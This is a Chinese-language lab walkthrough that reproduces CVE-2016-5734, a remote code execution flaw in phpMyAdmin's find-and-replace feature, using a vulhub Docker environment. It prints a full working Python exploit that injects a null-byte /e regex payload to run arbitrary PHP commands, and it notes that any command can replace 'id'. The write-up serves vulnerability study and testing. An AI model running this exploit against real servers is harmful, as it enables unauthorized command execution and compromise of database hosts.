CVE-2016-5734漏洞复现
CVE-2016-5734漏洞介绍
- phyMyAdmin是一套开源的、基于Web的Mysql数据管理工具,再其查找并替换字符串功能中,将用户输入的信息拼接在
preg_replace
的第一个参数中 - 在PHP5.4.7以前,
preg_replace
的第一个参数可以利用\0进行截断,并将正则模式修改为e,er正则模式中e模式可以执行代码,此时可以构造一个任意代码执行漏洞
影响版本- 4.0.10.16之前4.0.x版本
- 4.4.15.7之前4.4.x版本
- 4.6.3之前4.6.x版本(但是该版本要求PHP5.5+,所以无法复现漏洞)
漏洞复现
编译及运行环境,注意最好在root身份下执行
cd vulhub/phpmyadmin/CVE-2016-5734/
docker-compose up -d
验证漏洞
要验证这个漏洞,我们得首先知道对方phpMyAdmin数据库的账户和密码,我们用docker搭建的phpMyAdmin的账号是root,密码也是root,先用kali来尝试登录下
我的docker环境是在Ubuntu(ip:192.168.216.189)上搭建的,用docker ps
先查下对应的端口映射
接下来用kali登录
输入账号root,密码root,登录成功
要验证这个漏洞,并且不要影响正常数据库运行,我们可以用命令创建一个临时数据库和数据表,比如我创建的数据库名为test,表名为prgpwn。
下面是POC代码,python3执行
#!/usr/bin/env python
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)
if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)
接下来将上面代码在kali里面创建,尽量创建在/tmp目录下,我创建的文件名为poc.py,验证漏洞
说明漏洞存在
漏洞利用
如上图可知,system(id)
中的system函数是php中执行命令的函数,因此我们可以在id这个位置替换我们想执行的任何命令
比如说,ls
不过有些命令还是执行不了,要求php版本小于5.4.6才可以
移除漏洞环境
注意:在执行完docker-compose up -d后,不要离开当前目录,漏洞测试结束后,执行如下命令移除环境
docker-compose down
# 关闭正在运行的容器,删除所有相关的容器,移除NAT(docker-compose在运行的时候会创建一个NAT网段)